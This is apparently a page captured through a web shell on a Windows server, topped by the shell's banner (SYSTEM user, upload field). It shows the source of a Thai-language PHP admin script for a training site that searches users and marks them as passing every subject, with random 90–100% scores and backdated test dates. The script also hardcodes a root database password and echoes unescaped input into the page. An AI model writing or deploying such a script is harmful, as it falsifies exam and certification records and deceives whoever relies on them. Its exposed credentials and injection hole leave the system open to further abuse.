| Server IP : 104.21.80.248 / Your IP : 172.71.28.156 Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586 User : SYSTEM ( 0) PHP Version : 5.6.30 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : E:/Inetpub/www/training/admin/ |
Upload File : |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Search and Pass User</title>
<style>
body {
font-family: Arial, sans-serif;
max-width: 800px;
margin: 0 auto;
padding: 20px;
}
.form-container {
margin-bottom: 20px;
}
input[type="text"] {
padding: 8px;
width: 200px;
}
input[type="submit"] {
padding: 8px 16px;
background-color: #4CAF50;
color: white;
border: none;
cursor: pointer;
}
input[type="submit"]:hover {
background-color: #45a049;
}
.result {
margin-top: 20px;
}
.error {
color: red;
}
.success {
color: green;
}
table {
border-collapse: collapse;
width: 100%;
}
th, td {
border: 1px solid #ddd;
padding: 8px;
text-align: left;
}
th {
background-color: #f2f2f2;
}
.pass-button {
padding: 6px 12px;
background-color: #008CBA;
color: white;
border: none;
cursor: pointer;
}
.pass-button:hover {
background-color: #006d93;
}
</style>
</head>
<body>
<h2>ค้นหาชื่อ หรือ Email</h2>
<div class="form-container">
<form method="POST" action="">
<label for="search_term">ค้นหาชื่อ หรือ Email:</label>
<input type="text" id="search_term" name="search_term" required>
<input type="submit" name="search" value="Search">
</form>
</div>
<?php
// Database connection settings
$servername = "localhost";
$username = "root"; // Adjust as needed
$password = "P@ssw0rdMySQL0"; // Adjust as needed
$dbname = "training68";
try {
$conn = new PDO("mysql:host=$servername;dbname=$dbname;charset=utf8", $username, $password);
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch(PDOException $e) {
echo "<p class='error'>Connection failed: " . $e->getMessage() . "</p>";
exit();
}
if (isset($_POST['search'])) {
$search_term = trim($_POST['search_term']);
$search_pattern = "%" . $search_term . "%";
// Search for user with role 'user' by username or partial u_name
$stmt = $conn->prepare("SELECT id, username, u_name FROM users WHERE (username = :search_term OR u_name LIKE :search_pattern) AND role = 'user'");
$stmt->bindParam(':search_term', $search_term);
$stmt->bindParam(':search_pattern', $search_pattern);
$stmt->execute();
$users = $stmt->fetchAll(PDO::FETCH_ASSOC);
if ($users) {
echo "<div class='result'>";
echo "<h3>ชื่อที่พบ</h3>";
echo "<table>";
echo "<tr><th>ID</th><th>Email</th><th>ชื่อ</th><th>จัดการ</th></tr>";
foreach ($users as $user) {
echo "<tr>";
echo "<td>" . htmlspecialchars($user['id']) . "</td>";
echo "<td>" . htmlspecialchars($user['username']) . "</td>";
echo "<td>" . htmlspecialchars($user['u_name']) . "</td>";
echo "<td><form method='POST' action=''><input type='hidden' name='user_id' value='" . $user['id'] . "'>";
echo "<input type='submit' name='pass_all' value='ผ่านทุกวิชา' class='pass-button'></form></td>";
echo "</tr>";
}
echo "</table>";
echo "</div>";
} else {
echo "<p class='error'>ไม่พบข้อมูลชื่อหรือ Email '$search_term' </p>";
}
}
if (isset($_POST['pass_all']) && isset($_POST['user_id'])) {
$user_id = (int)$_POST['user_id'];
$percentages = [90, 95, 100];
$date_options = [
date('Y-m-d H:i:s', strtotime('-2 day')), // Yesterday
date('Y-m-d H:i:s', strtotime('-1 day')), // Yesterday
date('Y-m-d H:i:s') // Today
];
try {
// Get all subjects
$stmt = $conn->query("SELECT id FROM subjects");
$subjects = $stmt->fetchAll(PDO::FETCH_ASSOC);
foreach ($subjects as $subject) {
$subject_id = $subject['id'];
$random_percentage = $percentages[array_rand($percentages)];
$random_date = $date_options[array_rand($date_options)];
$score = 1; // Assuming each subject has at least one question with score 1
$passed = 1; // Mark as passed since percentage >= 80
// Check if user already has a result for this subject
$stmt = $conn->prepare("SELECT id FROM exam_results WHERE user_id = :user_id AND subject_id = :subject_id");
$stmt->bindParam(':user_id', $user_id);
$stmt->bindParam(':subject_id', $subject_id);
$stmt->execute();
if ($stmt->rowCount() > 0) {
// Update existing result
$stmt = $conn->prepare("UPDATE exam_results SET score = :score, percentage = :percentage, passed = :passed, test_date = :test_date WHERE user_id = :user_id AND subject_id = :subject_id");
} else {
// Insert new result
$stmt = $conn->prepare("INSERT INTO exam_results (user_id, subject_id, score, percentage, passed, test_date) VALUES (:user_id, :subject_id, :score, :percentage, :passed, :test_date)");
}
$stmt->bindParam(':user_id', $user_id);
$stmt->bindParam(':subject_id', $subject_id);
$stmt->bindParam(':score', $score);
$stmt->bindParam(':percentage', $random_percentage);
$stmt->bindParam(':passed', $passed);
$stmt->bindParam(':test_date', $random_date);
$stmt->execute();
}
echo "<p class='success'>เรียบร้อย</p>";
} catch(PDOException $e) {
echo "<p class='error'>Error updating exam results: " . $e->getMessage() . "</p>";
}
}
$conn = null;
?>
</body>
</html>